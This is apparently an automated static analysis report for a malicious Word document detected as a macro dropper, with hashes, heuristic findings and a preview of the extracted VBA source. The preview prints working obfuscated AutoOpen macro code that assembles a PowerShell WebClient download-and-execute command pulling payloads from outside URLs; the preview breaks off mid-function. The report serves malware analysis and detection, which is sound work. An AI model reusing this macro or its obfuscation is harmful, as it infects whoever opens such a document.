Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b9f7061831400240…

MALICIOUS

Office (OLE)

167.0 KB Created: 2018-05-21 12:24:00 Authoring application: Microsoft Office Word First seen: 2020-05-14
MD5: 534699261ae7fe48ff0c971b50659893 SHA-1: c1f25de8ff353c787f14689ea63ac777acedf1de SHA-256: b9f706183140024063eeaee7017e70a9943051132b5546e338585d9afa8ac727
112 Risk Score

Heuristics 6

  • ClamAV: Doc.Dropper.Agent-6550285-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6550285-0
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub Autoopen()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 182781 bytes
SHA-256: 9a0fd0201f264320620c9f11d8497bf079145f1e31cc1c8d61740f84cb3e64c1
Detection
ClamAV: No threats found
Obfuscation or payload: likely
807 of 1106 identifiers look randomly generated (e.g. 'RfwCigXdRl3myWcEtVriLPlS1ai6CJpRfqZNZwYw') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "mECsHnWkk"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function IcmiYoYIIX()

On Error Resume Next
ROLEnur = (WWZiji - CDbl(113891) + XCkOWljq + Fix(SjikojX / CLng(521951 * Sqr(zHlbduSjJUi))) - 21263 / Sin(vKMZWMCQwpi - XqlELHVnw - 594036 + CLng(hYswtIRh)) * 106835 * Fix(113891))
PBjHAuhv = "Vowerh82XVZ9NPK4pyshell iNvOtoEDEsv43eChwslDpnpd"
lOVcvL = CStr(Left(Right(PBjHAuhv, 47), 4)) + Left(Right(PBjHAuhv, 30), 10) + Left(Right(PBjHAuhv, 34), 1) + Left(Right(PBjHAuhv, 16), 1)

GwcwbPRkm = "WkNJBdOsepREsrpFF74kHHlyuMTXYDtZ-ExPRESsIon( ('&( MbydUEyOvErv9VbFwlNXIgmfKsvW9fBfIuiwSgcFJY9W3U"
jsDWYVILP = Left(Right(GwcwbPRkm, 64), 21) + CStr(Left(Right(GwcwbPRkm, 38), 3)) + CStr(Left(Right(GwcwbPRkm, 16), 1)) + CStr(Left(Right(GwcwbPRkm, 90), 6)) + Left(Right(GwcwbPRkm, 23), 1)

abIvXljwXK = "BO'WkNJBdeRences.pFF74tHHly"
NcaXHN = CStr(Left(Right(abIvXljwXK, 18), 6)) + Left(Right(abIvXljwXK, 11), 1) + Left(Right(abIvXljwXK, 5), 1) + CStr(Left(Right(abIvXljwXK, 25), 1))

YmzaKlwlY = Chr(43)
EjIYT = "BOm3]NJBdThiVoH'OStriNG()ly[1TXYDtZK7U,xYLDQP"
AiJBXXor = Left(Right(EjIYT, 30), 10) + Left(Right(EjIYT, 18), 2) + CStr(Left(Right(EjIYT, 7), 1)) + Left(Right(EjIYT, 42), 2)

zpnWD = Chr(43)
KKslOWjY = "WkNJB ( (VoHsrpFF74kHHlypRfxpRf-JOINpRfpQPLRfEMoEeVw6dpEyOOp)v9VbFwlNXIg"
ZiuUSp = CStr(Left(Right(KKslOWjY, 48), 16)) + CStr(Left(Right(KKslOWjY, 29), 2)) + Left(Right(KKslOWjY, 12), 1) + CStr(Left(Right(KKslOWjY, 67), 4)) + CStr(Left(Right(KKslOWjY, 18), 1))

icEmoZaLd = "k4BOmWkRfFlpRiVoHsfpF"
AmDJMFVHH = Left(Right(icEmoZaLd, 14), 5) + Left(Right(icEmoZaLd, 9), 1) + Left(Right(icEmoZaLd, 3), 1)

AzHjFIqFmf = Chr(43)
VtrEnXvhU = (EPjJYlt - CDbl(722310) + tPskBGV + Fix(SkCiKcuDKMX / CLng(303294 * Sqr(wsAfRkwBZX))) - 934509 / Sin(rdfUvpkskis - KilLc - 240973 + CLng(czLOETB)) * 714710 * Fix(722310))
wOYzr = "k4BOmWkNpRf0nsVpHsrp'F74"
iqXGfFViJW = CStr(Left(Right(wOYzr, 16), 6)) + Left(Right(wOYzr, 9), 1) + Left(Right(wOYzr, 4), 1)

IZQmptvwf = Chr(43)
TqwsNf = "4uk'RfmWk"
EGjvlST = Left(Right(TqwsNf, 6), 2) + Left(Right(TqwsNf, 4), 1)

AlmkuwG = Chr(43)
knKumCNJ = (vYfTfZbpA - CDbl(931195) + SJABEubbZn + Fix(sQWWW / CLng(826334 * Sqr(GLKollVm))) - 982655 / Sin(LXMVltt - FQklFAKbn - 904459 + CLng(iCIJzJzU)) * 115409 * Fix(931195))
jXjAFIa = "BOmWo7VBdThiVoHsrpFFpRfadasd = &(oZK7VIxYLDQPLFpEMnEeVw6dUEy"
QoujMAbTc = Left(Right(jXjAFIa, 40), 14) + Left(Right(jXjAFIa, 24), 2) + CStr(Left(Right(jXjAFIa, 10), 1)) + Left(Right(jXjAFIa, 56), 3)

JOzMKjZSHBo = Chr(43)
jzRuiwIO = "k4BOmWo7VpRThiV'Hs"
KbNGXWit = CStr(Left(Right(jzRuiwIO, 12), 4)) + CStr(Left(Right(jzRuiwIO, 8), 1)) + Left(Right(jzRuiwIO, 3), 1)

OhVmvmXFBEY = Chr(43)
MwTnWwRF = "Eg'fk4"
rNknGD = Left(Right(MwTnWwRF, 4), 2)

YaOurndTVGd = Chr(43)
QTkUUzm = (zRSBzYAnc - CDbl(976751) + SDKfnCXNIwb + Fix(KFsnMkz / CLng(909462 * Sqr(ivuwbz))) - 637631 / Sin(zOhvbqav - JljhzHqn - 559763 + CLng(iHNJL)) * 511892 * Fix(976751))
qOZLYqDfd = "pW11HFwCigXpRl3myfeopRfi"
hAhcVB = Left(Right(qOZLYqDfd, 13), 2) + Left(Right(qOZLYqDfd, 7), 6)

ZFijzUZRzEf = Chr(43)
XVwRsGUksp = "pW11HFwpigRf7'3"
DAUvI = CStr(Left(Right(XVwRsGUksp, 8), 1)) + CStr(Left(Right(XVwRsGUksp, 5), 4))

sYHVrfk = Chr(43)
IcmiYoYIIX = lOVcvL + jsDWYVILP + NcaXHN + YmzaKlwlY + AiJBXXor + zpnWD + ZiuUSp + AmDJMFVHH + AzHjFIqFmf + iqXGfFViJW + IZQmptvwf + EGjvlST + AlmkuwG + QoujMAbTc + JOzMKjZSHBo + KbNGXWit + OhVmvmXFBEY + rNknGD + YaOurndTVGd + hAhcVB + ZFijzUZRzEf + DAUvI + sYHVrfk

End Function

Function PItLip()

On Error Resume Next
dmENwwkF = (XlWqtHc - CDbl(724481) + JBQWAOKU + Fix(MvEwomZMk / CLng(135015 * Sqr(SfmISQ))) - 58005 / Sin(VZAGf - hkuXrF - 427201 + CLng(YutPmpBU)) * 455552 * Fix(724481))
EPTPjKCnDvM = "pW11HFw'igVpRf3"
WatrVO = CStr(Left(Right(EPTPjKCnDvM, 8), 1)) + CStr(Left(Right(EPTPjKCnDvM, 5), 4))

ziSzudRDAVq = Chr(43)
ZFVsucl = "pW11pFRfi"
ripQro = CStr(Left(Right(ZFVsucl, 5), 1)) + CStr(Left(Right(ZFVsucl, 3), 2))

PhLwaCzSbir = Chr(43)
oaXWirzUm = "pW11pFRfi"
MOtVU = CStr(Left(Right(oaXWirzUm, 5), 1)) + CStr(Left(Right(oaXWirzUm, 3), 2))

PjiFt = Chr(43)
QUwFaU = "pWp1'F"
mGwlih = CStr(Left(Right(QUwFaU, 4), 1)) + Left(Right(QUwFaU, 2), 1)

CDdzLm = Chr(43)
QnbIKzSA = "fHFwCigXdRl3m'RcEtVfo7VpR1a"
rwvLpUISd = CStr(Left(Right(QnbIKzSA, 14), 2)) + Left(Right(QnbIKzSA, 8), 6) + Left(Right(QnbIKzSA, 27), 1)

wIUKcEOKnzM = Chr(43)
TdDmW = (zZwOoY - CDbl(768131) + TYrhXvvTTu + Fix(RYfvJQwvO / CLng(886071 * Sqr(tqCbRhZPBUb))) - 485561 / Sin(uVqbGu - ilziZVz - 797253 + CLng(EQhStKvah)) * 991832 * Fix(768131))
wMtnWatsMfK = "pW11HFwCigpdRlRfwpRft"
lFlTB = CStr(Left(Right(wMtnWatsMfK, 11), 1)) + CStr(Left(Right(wMtnWatsMfK, 7), 6))

UKJjRv = Chr(43)
IWZBFJQRZ = "fHFwCigXdRl3myWcpRVriLf-objepRJo9"
NGpKURfi = CStr(Left(Right(IWZBFJQRZ, 17), 2)) + CStr(Left(Right(IWZBFJQRZ, 11), 8)) + CStr(Left(Right(IWZBFJQRZ, 33), 1))

UYvtHXrRC = Chr(43)
uuMRMX = "fHFwCigXdRl3mypREtVrfco7VpRi6C"
riAvRWGrS = Left(Right(uuMRMX, 16), 2) + CStr(Left(Right(uuMRMX, 10), 7)) + Left(Right(uuMRMX, 30), 1)

vOhUt = Chr(43)
tMLYo = (aNilGr - CDbl(527545) + AtZYpkUj + Fix(vJDwwnV / CLng(347492 * Sqr(DkvQzBmunD))) - 221665 / Sin(uoTfWwHKWt - tRUiR - 143729 + CLng(UpPmr)) * 368923 * Fix(527545))
wbodSdwWMi = "pW11pFRfi"
vHAjSHKvYtt = CStr(Left(Right(wbodSdwWMi, 5), 1)) + CStr(Left(Right(wbodSdwWMi, 3), 2))

ImdpfV = Chr(43)
QaESmkzNri = "pW11HFwCigXo7l3myVtopRfi"
dkWQwqszt = Left(Right(QaESmkzNri, 13), 2) + Left(Right(QaESmkzNri, 7), 6)

NnSLf = Chr(43)
FjsbNbfp = "pW11HFwCigpdRlRf7pRft"
jzuFVqca = CStr(Left(Right(FjsbNbfp, 11), 1)) + CStr(Left(Right(FjsbNbfp, 7), 6))
LFbAcKwpkQ = (nHwzbN - CDbl(181959) + rvzOYOwRD + Fix(vCiNZmONtd / CLng(155719 * Sqr(zBPOzvZHc))) - 955255 / Sin(cfrQUrwjMBL - Guilu - 104680 + CLng(VhjijB)) * 980989 * Fix(181959))
BfhnlK = Chr(43)
rIUsHYG = "pW11HFwCigpdRlRfVpRft"
ttdKj = CStr(Left(Right(rIUsHYG, 11), 1)) + CStr(Left(Right(rIUsHYG, 7), 6))

KQqjNiaXmi = Chr(43)
iRStU = "pW11HFwCigpdRlRf)pRft"
fzWMXbAO = CStr(Left(Right(iRStU, 11), 1)) + CStr(Left(Right(iRStU, 7), 6))

PzpUz = Chr(43)
fbZwwQAPYjk = "fHFwCigXdRl3myWcEtVrpRPlS1aif random;pRYwX"
LYtzwFZ = CStr(Left(Right(fbZwwQAPYjk, 22), 2)) + CStr(Left(Right(fbZwwQAPYjk, 14), 11)) + CStr(Left(Right(fbZwwQAPYjk, 42), 1))
cdNaWmwWCim = (WFhmPsLSj - CDbl(588811) + ZhoOpdXj + Fix(hVJzpWWI / CLng(310728 * Sqr(jIjLcVjBE))) - 653938 / Sin(cdGLL - DfmHw - 602176 + CLng(zVGFLMI)) * 657752 * Fix(588811))
wknRoABP = Chr(43)
kDSVwi = "fHFwCigXdRl3myWcEpRriLPlfFl0YYUpRlqZ"
assjUt = Left(Right(kDSVwi, 19), 2) + CStr(Left(Right(kDSVwi, 12), 9)) + CStr(Left(Right(kDSVwi, 36), 1))

OXIDL = Chr(43)
tdZGEisHmpY = "q'p"
qwiRmFAuCn = CStr(Left(Right(tdZGEisHmpY, 2), 1))

uMipPDISzZP = Chr(43)
wDPUUaI = "pW11H'wCpR'd"
TuBIX = Left(Right(wDPUUaI, 7), 1) + CStr(Left(Right(wDPUUaI, 4), 3))
PItLip = WatrVO + ziSzudRDAVq + ripQro + PhLwaCzSbir + MOtVU + PjiFt + mGwlih + CDdzLm + rwvLpUISd + wIUKcEOKnzM + lFlTB + UKJjRv + NGpKURfi + UYvtHXrRC + riAvRWGrS + vOhUt + vHAjSHKvYtt + ImdpfV + dkWQwqszt + NnSLf + jzuFVqca + BfhnlK + ttdKj + KQqjNiaXmi + fzWMXbAO + PzpUz + LYtzwFZ + wknRoABP + assjUt + OXIDL + qwiRmFAuCn + uMipPDISzZP + TuBIX

End Function

Function ljJRLuomWOv()

On Error Resume Next
czRGldBoBcj = (WiMqwWJtwGw - CDbl(955696) + fXEwStb + Fix(cwmQHzLIGXP / CLng(722586 * Sqr(nGPiAkv))) - 151736 / Sin(NsAWwzbOZD - HBjRXwv - 222914 + CLng(AKBmYqcdZ)) * 327524 * Fix(955696))
oQGmqiIQnjn = Chr(43)
XnjiSfw = "fHFwCigXdRl3myWcE'friLPl = .(o7pRlqZ"
DalJt = Left(Right(XnjiSfw, 19), 2) + CStr(Left(Right(XnjiSfw, 12), 9)) + CStr(Left(Right(XnjiSfw, 36), 1))

qENHv = Chr(43)
ltwlwAsumHI = "pW11HFwCigpdRlRfVpRft"
HzLkwOLmm = CStr(Left(Right(ltwlwAsumHI, 11), 1)) + CStr(Left(Right(ltwlwAsumHI, 7), 6))

TvzTPqunHz = Chr(43)
XBSNHqKZ = (zKZAwjDjEk - CDbl(149421) + ZLQME + Fix(adpWXVWiaz / CLng(990199 * Sqr(EAJlPOVPLh))) - 938327 / Sin(maMOnPwL - GIVPhkPcoD - 786601 + CLng(XjScDbP)) * 9894 * Fix(149421))
MlpozDBbIos = "fHFwCigXdRl3mpRcEtVfneopR1a"
KwRzLBwXFb = CStr(Left(Right(MlpozDBbIos, 14), 2)) + Left(Right(MlpozDBbIos, 8), 6) + Left(Right(MlpozDBbIos, 27), 1)

ZJPFkXMuSni = Chr(43)
lWZLM = "pW11HFwCigpdRlRf7pRft"
hCmaJsODn = CStr(Left(Right(lWZLM, 11), 1)) + CStr(Left(Right(lWZLM, 7), 6))

sfkDDZb = Chr(43)
boiqXLFQ = (UhTmScCXQ - CDbl(298216) + wUiLNGtzwr + Fix(SSGAA / CLng(785980 * Sqr(GUrdz))) - 83252 / Sin(HdznX - uwEBrzE - 343263 + CLng(dRkdLIZjCO)) * 837330 * Fix(298216))
tmrXLFPcan = "pW11HpwCRf'd"
TdTzEMXvI = Left(Right(tmrXLFPcan, 7), 1) + CStr(Left(Right(tmrXLFPcan, 4), 3))

lXnkUwP = Chr(43)
idawpifvvUd = "pW11HFw'igVpRf3"
TPRblUti = CStr(Left(Right(idawpifvvUd, 8), 1)) + CStr(Left(Right(idawpifvvUd, 5), 4))

NHJtGWRYl = Chr(43)
MrOVU = "pW11pFRfi"
jNSUzHYh = CStr(Left(Right(MrOVU, 5), 1)) + CStr(Left(Right(MrOVU, 3), 2))

jTCsT = Chr(43)
AwAatRduoYB = "pW11HFwCogXd7VpRfW"
ViNrrwFV = CStr(Left(Right(AwAatRduoYB, 10), 1)) + Left(Right(AwAatRduoYB, 6), 5)

JnwXfAWMi = Chr(43)
wqdKYkjhMu = "pW11HFwCigpdRlRfwo7Vt"
fKBuTUN = CStr(Left(Right(wqdKYkjhMu, 11), 1)) + CStr(Left(Right(wqdKYkjhMu, 7), 6))
BCBNHT = (oNTntXiM - CDbl(268387) + XRwYIC + Fix(MSfoqATPjJL / CLng(214851 * Sqr(jqlGrr))) - 301239 / Sin(HRzJJ - QRUUMlA - 806609 + CLng(IpubfhouDEk)) * 403565 * Fix(268387))
UnQJDWajAQ = Chr(43)
lUwNBH = "pW11HFwCogXd7VpRfW"
HEkTodMCp = CStr(Left(Right(lUwNBH, 10), 1)) + Left(Right(lUwNBH, 6), 5)

hqnhwSPw = Chr(43)
GwmcAF = "fHFwCigXdRl3mypREtVrf-objpRi6C"
ZvWXOLEII = Left(Right(GwmcAF, 16), 2) + CStr(Left(Right(GwmcAF, 10), 7)) + Left(Right(GwmcAF, 30), 1)

IuTAAQMJO = Chr(43)
lHWTJ = "1RfwCigXdRl3myWcEtVriLPlS1ai6CJpRfqZNZwYwXecto7V) System.pUA7xQ"
cloRM = Left(Right(lHWTJ, 32), 3) + Left(Right(lHWTJ, 21), 16) + CStr(Left(Right(lHWTJ, 62), 2))

wdcGDKmVqh = Chr(43)
WODzj = "'HFwCigXdRl3myWcEtVriLpRf1ai6CJNet.WebCpRfyiV"
hVIkVDWjj = Left(Right(WODzj, 23), 3) + CStr(Left(Right(WODzj, 14), 11)) + CStr(Left(Right(WODzj, 45), 1))

qmQkIB = Chr(43)
FVHhSkfYGr = (VuJwSC - CDbl(133962) + jWtuKpBu + Fix(YPjTlFUwU / CLng(88103 * Sqr(GoTjDHiTjho))) - 217253 / Sin(jHrzIu - LRjXCG - 538939 + CLng(ZYaQaN)) * 273460 * Fix(133962))
nBcRHz = "q'p"
JGPllbXDYI = CStr(Left(Right(nBcRHz, 2), 1))

VIGXmIbMvIP = Chr(43)
mRuIhzDAK = "fHFwCigXdRl3myWcEtVpRLPlS1flient;FpRNZw"
DWNSvn = CStr(Left(Right(mRuIhzDAK, 20), 2)) + CStr(Left(Right(mRuIhzDAK, 13), 10)) + CStr(Left(Right(mRuIhzDAK, 39), 1))

FckcIkU = Chr(43)
iwFXEz = "fHFwCigXdRl3mpRcEtVfl0NpR1a"
RivOu = CStr(Left(Right(iwFXEz, 14), 2)) + Left(Right(iwFXEz, 8), 6) + Left(Right(iwFXEz, 27), 1)

DSJvOojPRSi = Chr(43)
czwJWQ = "fHFwCigXdRl3myWcEpRriLPlfSB = FpRlqZ"
zMOXJbPIDWk = Left(Right(czwJWQ, 19), 2) + CStr(Left(Right(czwJWQ, 12), 9)) + CStr(Left(Right(czwJWQ, 36), 1))

wnRCJiAtU = Chr(43)
kAjzaW = "fHFwCigXdRl3mypREtVrfl0nspRi6C"
zEEWjw = Left(Right(kAjzaW, 16), 2) + CStr(Left(Right(kAjzaW, 10), 7)) + Left(Right(kAjzaW, 30), 1)
XdFmRpZm = (KTmuQZ - CDbl(352559) + LSmkBI + Fix(QFjuiQ / CLng(880897 * Sqr(WaZFbGl))) - 266943 / Sin(AEozwham - iNhVPqNa - 735268 + CLng(Rohlur)) * 168996 * Fix(352559))
EScjR = Chr(43)
FYAkGSN = "fHFwCigXdRl3mypREtVrfadaspRi6C"
waiHVjY = Left(Right(FYAkGSN, 16), 2) + CStr(Left(Right(FYAkGSN, 10), 7)) + Left(Right(FYAkGSN, 30), 1)

DKzbQqiGTwH = Chr(43)
XQQhiXRnj = "pW11HFwCigpdRlRfdpR't"
iLdiUu = CStr(Left(Right(XQQhiXRnj, 11), 1)) + CStr(Left(Right(XQQhiXRnj, 7), 6))

QUwnwVcoqRk = Chr(43)
oIYroqTAa = "pW'1fF"
HuHMlLIEp = CStr(Left(Right(oIYroqTAa, 4), 1)) + Left(Right(oIYroqTAa, 2), 1)

wwiZHnlw = Chr(43)
IslSjzjGJl = "pW11HFwCigXpRl3myf.npRfi"
maqHi = Left(Right(IslSjzjGJl, 13), 2) + Left(Right(IslSjzjGJl, 7), 6)
ljJRLuomWOv = oQGmqiIQnjn + DalJt + qENHv + HzLkwOLmm + TvzTPqunHz + KwRzLBwXFb + ZJPFkXMuSni + hCmaJsODn + sfkDDZb + TdTzEMXvI + lXnkUwP + TPRblUti + NHJtGWRYl + jNSUzHYh + jTCsT + ViNrrwFV + JnwXfAWMi + fKBuTUN + UnQJDWajAQ + HEkTodMCp + hqnhwSPw + ZvWXOLEII + IuTAAQMJO + cloRM + wdcGDKmVqh + hVIkVDWjj + qmQkIB + JGPllbXDYI + VIGXmIbMvIP + DWNSvn + FckcIkU + RivOu + DSJvOojPRSi + zMOXJbPIDWk + wnRCJiAtU + zEEWjw + EScjR + waiHVjY + DKzbQqiGTwH + iLdiUu + QUwnwVcoqRk + HuHMlLIEp + wwiZHnlw + maqHi

End Function

Function XDGoC()

On Error Resume Next
tNzHR = (dHNICPnnJQ - CDbl(996879) + ZqQmDk + Fix(knTHFPfs / CLng(317296 * Sqr(zublIidtrfK))) - 448092 / Sin(aPBNit - XYQqcWXdTVB - 982796 + CLng(cKPnthfGqMW)) * 857952 * Fix(996879))
QkAIQcGcRP = Chr(43)
zAbbGdSJq = "RHFwCigXdRl3myWcEpRriLPlfext(100plqZ"
RmODakCao = Left(Right(zAbbGdSJq, 19), 2) + CStr(Left(Right(zAbbGdSJq, 12), 9)) + CStr(Left(Right(zAbbGdSJq, 36), 1))

fzAJvQzN = "qfp"
BvfiSiwAn = CStr(Left(Right(fzAJvQzN, 2), 1))

itrdPrjpiVw = Chr(43)
lHYwMr = "pW11HFwCigpdRlRf0pRft"
AwwPnPTd = CStr(Left(Right(lHYwMr, 11), 1)) + CStr(Left(Right(lHYwMr, 7), 6))

zRLOpUiwzK = Chr(43)
dtvjd = "fHFwCigXdRl3mypREtVrf0, 2pRi6C"
dVwYukoi = Left(Right(dtvjd, 16), 2) + CStr(Left(Right(dtvjd, 10), 7)) + Left(Right(dtvjd, 30), 1)

NsTjc = Chr(43)
MONWILvoVF = "fHFwCigXdRl3mypREtVrf8213pRi6C"
jfCrjhJHkcj = Left(Right(MONWILvoVF, 16), 2) + CStr(Left(Right(MONWILvoVF, 10), 7)) + Left(Right(MONWILvoVF, 30), 1)
bmuowvGdvTO = (wOVNLC - CDbl(34909) + IINhPjFh + Fix(EwjijiFcji / CLng(824917 * Sqr(vihab))) - 699083 / Sin(mdGhOZX - wpNFi - 215791 + CLng(tNRZzj)) * 414129 * Fix(34909))
DjsdDzwI = Chr(43)
pnqKXmVOs = "pW11HFwCigpdRlRf3pRft"
wwPtPucihw = CStr(Left(Right(pnqKXmVOs, 11), 1)) + CStr(Left(Right(pnqKXmVOs, 7), 6))

HdFZT = Chr(43)
tlzFNabwT = "CHFwCigXdRl3myWcpRVriLf);Fl0ADJo9"
ElFnqlLz = CStr(Left(Right(tlzFNabwT, 17), 2)) + CStr(Left(Right(tlzFNabwT, 11), 8)) + CStr(Left(Right(tlzFNabwT, 33), 1))

iBmqKwp = "'HFwCigXdRl3myX EtVr= o7VpRi6C"
ksfijUsHmij = Left(Right(iBmqKwp, 16), 2) + CStr(Left(Right(iBmqKwp, 10), 7)) + Left(Right(iBmqKwp, 30), 1)

zrnvT = Chr(43)
DQjOVSrjaHu = (rXZVhVG - CDbl(490215) + UDlIpGjV + Fix(IdhDvQvKD / CLng(582514 * Sqr(LbaAn))) - 363810 / Sin(lJiniNw - JfzfX - 201481 + CLng(OmVERdMO)) * 511534 * Fix(490215))
rrLcQ = "2'fTUT"
cSqElaI = CStr(Left(Right(rrLcQ, 5), 1)) + CStr(Left(Right(rrLcQ, 4), 1))

dPiDib = Chr(43)
XzHLzJjTk = "fpURreMUS"
ctjPQtqL = CStr(Left(Right(XzHLzJjTk, 8), 1)) + CStr(Left(Right(XzHLzJjTk, 6), 1)) + CStr(Left(Right(XzHLzJjTk, 9), 1))

rQDjCJK = Chr(13)
fRUfszB = Chr(10)
VWbFTF = (YRGujt - CDbl(304357) + XKZahMPfQ + Fix(VBhvvpiY / CLng(588354 * Sqr(nfWiOwZw))) - 174318 / Sin(ThNzO - wZBLZJzqGDj - 542226 + CLng(XRcbYVM)) * 714182 * Fix(304357))
NtJBFWEoY = "pThetURfffPDbU7"
MTwzmO = CStr(Left(Right(NtJBFWEoY, 13), 1)) + Left(Right(NtJBFWEoY, 11), 1) + CStr(Left(Right(NtJBFWEoY, 15), 1)) + Left(Right(NtJBFWEoY, 9), 2)

roKUNCzvIs = Chr(43)
WYZzoCaX = "pMUShfpRDbUft://cpRAsAQnLrpGJ5fAXYG9"
YtvQvdJjbSP = CStr(Left(Right(WYZzoCaX, 30), 2)) + CStr(Left(Right(WYZzoCaX, 25), 2)) + CStr(Left(Right(WYZzoCaX, 36), 1)) + Left(Right(WYZzoCaX, 23), 6) + Left(Right(WYZzoCaX, 6), 1)

dVipzdbaOcd = Chr(43)
sDwLPVZS = "sMUShfpRDbfaamapRqYAsAQnLrpfJ54AX"
AAVPJGzOW = CStr(Left(Right(sDwLPVZS, 27), 2)) + Left(Right(sDwLPVZS, 23), 2) + Left(Right(sDwLPVZS, 33), 1) + CStr(Left(Right(sDwLPVZS, 21), 5)) + CStr(Left(Right(sDwLPVZS, 6), 1))

SjRwX = Chr(43)
BtGFJ = "tTrpMURfpRfDbU7w1qKnq"
pFnVbuj = CStr(Left(Right(BtGFJ, 18), 1)) + Left(Right(BtGFJ, 15), 2) + CStr(Left(Right(BtGFJ, 21), 1)) + Left(Right(BtGFJ, 13), 3)

iNzRjRivPLQ = Chr(43)
GFLzKqUlmY = "rfPDbU7w1qKnpRfaAQnLrmate4a.it/0Vqt4/Lwe9DPCgvdwfyUvh7qppR8WKZNkgOC6E"
HtXVVBXYDCX = Left(Right(GFLzKqUlmY, 57), 4) + Left(Right(GFLzKqUlmY, 48), 4) + CStr(Left(Right(GFLzKqUlmY, 69), 1)) + Left(Right(GFLzKqUlmY, 43), 11) + Left(Right(GFLzKqUlmY, 13), 2) + Left(Right(GFLzKqUlmY, 21), 1)

GGkJp = Chr(43)
SAaXIwcpt = (ZjZGHD - CDbl(383778) + alIbLp + Fix(SCjlSXd / CLng(430928 * Sqr(obWHiiLZIGP))) - 711079 / Sin(HYwPICV - bnFGK - 918530 + CLng(EFPqW)) * 178964 * Fix(383778))
QKlQIVqKppB = "tfPDbU7wpRfnqY@htp://inJ54AXYG9ebkJ3tLwe9DPCg"
NwuLs = CStr(Left(Right(QKlQIVqKppB, 37), 3)) + CStr(Left(Right(QKlQIVqKppB, 31), 3)) + CStr(Left(Right(QKlQIVqKppB, 45), 1)) + Left(Right(QKlQIVqKppB, 28), 6) + CStr(Left(Right(QKlQIVqKppB, 9), 1)) + Left(Right(QKlQIVqKppB, 14), 1)

FaadRTq = "'nUsreMUS"
LSKcqMvP = CStr(Left(Right(FaadRTq, 8), 1)) + CStr(Left(Right(FaadRTq, 6), 1)) + CStr(Left(Right(FaadRTq, 9), 1))

EoiJiGTWi = Chr(43)
URdahM = ".fPDbU7'eqKnitcom.aurpGJ54RXYG9pbkJ3hLw"
QzPLnJnA = CStr(Left(Right(URdahM, 32), 2)) + Left(Right(URdahM, 27), 2) + Left(Right(URdahM, 39), 1) + Left(Right(URdahM, 25), 6) + Left(Right(URdahM, 8), 1) + CStr(Left(Right(URdahM, 13), 1))

czPYCvQc = "fR2"
RSLBL = Left(Right(czPYCvQc, 3), 1)
bZwGWTCMrw = (smSCSu - CDbl(98998) + HAZHbD + Fix(MiwXHYqzQj / CLng(271575 * Sqr(QFivfnRYw))) - 649700 / Sin(oHmKCfULL - zsTJkEo - 1049 + CLng(ZYtWiVBpf)) * 166931 * Fix(98998))
OajAGEsRzki = Chr(43)
TXBQDjdFP = "gTrepRSf/pRfbU7w1qKnqYAs"
viERid = Left(Right(TXBQDjdFP, 20), 2) + Left(Right(TXBQDjdFP, 17), 2) + CStr(Left(Right(TXBQDjdFP, 24), 1)) + Left(Right(TXBQDjdFP, 15), 3)

MZiofcGh = Chr(43)
UEToEp = "QTrepRSfrpRfbU7w1qKnqYAs"
QEoETKju = Left(Right(UEToEp, 20), 2) + Left(Right(UEToEp, 17), 2) + CStr(Left(Right(UEToEp, 24), 1)) + Left(Right(UEToEp, 15), 3)
lDYAXUBtv = (skwJPstb - CDbl(20725) + LiijXBC + Fix(dwEuXoD / CLng(880120 * Sqr(wOjdZN))) - 283972 / Sin(KSMUf - XPqjd - 991527 + CLng(zDUAwU)) * 115489 * Fix(20725))
SWDBsLfa = Chr(43)
hndjONEQzD = "7TrepRSf9pRfbU7w1qKnqYAs"
azKjCDCJ = Left(Right(hndjONEQzD, 20), 2) + Left(Right(hndjONEQzD, 17), 2) + CStr(Left(Right(hndjONEQzD, 24), 1)) + Left(Right(hndjONEQzD, 15), 3)

CGXpK = Chr(43)
BTjXiK = "kTrpMURfpRfDbU7w1qKnq"
EqiHbBVQWaF = CStr(Left(Right(BTjXiK, 18), 1)) + Left(Right(BTjXiK, 15), 2) + CStr(Left(Right(BTjXiK, 21), 1)) + Left(Right(BTjXiK, 13), 3)
dMEzB = (YwWEhnIw - CDbl(347868) + lBjnT + Fix(PkjMVPwl / CLng(291317 * Sqr(vXtXc))) - 737277 / Sin(NKQlNwDVlD - WFFwrF - 905494 + CLng(bNcYkj)) * 496944 * Fix(347868))
ddorGWSY = Chr(43)
zzcwjT = "dMUShfpRDbUfNN/@hpRAsAQnLrpGJ5fAXYG9"
MqBviBwt = CStr(Left(Right(zzcwjT, 30), 2)) + CStr(Left(Right(zzcwjT, 25), 2)) + CStr(Left(Right(zzcwjT, 36), 1)) + Left(Right(zzcwjT, 23), 6) + Left(Right(zzcwjT, 6), 1)

AOrowAo = Chr(43)
jzGzpQwprmC = "tMUShpRPDftp:/pKnqYAsAQn'rpGJ5"
AWVYdYTjGU = Left(Right(jzGzpQwprmC, 25), 2) + Left(Right(jzGzpQwprmC, 21), 2) + CStr(Left(Right(jzGzpQwprmC, 30), 1)) + CStr(Left(Right(jzGzpQwprmC, 19), 4)) + Left(Right(jzGzpQwprmC, 6), 1)

FdcWPwYJYPc = Chr(43)
jCkkGBU = "f'URreMUS"
